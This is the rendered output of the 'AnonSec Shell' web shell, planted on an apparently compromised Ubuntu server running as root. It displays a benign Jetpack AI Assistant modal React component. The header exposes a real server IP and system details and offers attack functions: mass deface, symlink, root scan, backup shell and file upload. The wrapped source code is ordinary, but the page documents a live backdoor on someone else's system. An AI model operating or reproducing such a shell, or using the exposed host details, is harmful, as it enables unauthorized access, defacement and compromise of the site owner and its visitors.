AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.128   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/1534260/cwd/plugins/jetpack/extensions/plugins/ai-assistant-plugin/components/modal/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/1534260/cwd/plugins/jetpack/extensions/plugins/ai-assistant-plugin/components/modal/index.tsx
/**
 * External dependencies
 */
import { AiStatusIndicator, RequestingStateProp } from '@automattic/jetpack-ai-client';
import { Modal, Button } from '@wordpress/components';
import { __ } from '@wordpress/i18n';
import { close } from '@wordpress/icons';
/**
 * Internal dependencies
 */
import './style.scss';

const ModalHeader = ( {
	requestingState,
	onClose,
	title,
}: {
	requestingState: RequestingStateProp;
	onClose: () => void;
	title: string;
} ) => {
	return (
		<div className="ai-assistant-modal__header">
			<div className="ai-assistant-modal__title-wrapper">
				<AiStatusIndicator state={ requestingState } />
				<h1 className="ai-assistant-modal__title">{ title }</h1>
			</div>
			<Button icon={ close } label={ __( 'Close', 'jetpack' ) } onClick={ onClose } />
		</div>
	);
};

export default function AiAssistantModal( {
	children,
	handleClose,
	hideHeader = true,
	requestingState = 'init',
	title = __( 'AI Assistant', 'jetpack' ),
	maxWidth = 720,
}: {
	children: React.ReactNode;
	handleClose: () => void;
	hideHeader?: boolean;
	requestingState?: RequestingStateProp;
	title?: string;
	maxWidth?: number;
} ) {
	return (
		<Modal
			__experimentalHideHeader={ hideHeader }
			className="ai-assistant-modal"
			shouldCloseOnClickOutside={ false }
			onRequestClose={ handleClose }
		>
			<div className="ai-assistant-modal__content" style={ { maxWidth } }>
				<ModalHeader requestingState={ requestingState } onClose={ handleClose } title={ title } />
				<hr className="ai-assistant-modal__divider" />
				{ children }
			</div>
		</Modal>
	);
}

Anon7 - 2022
AnonSec Team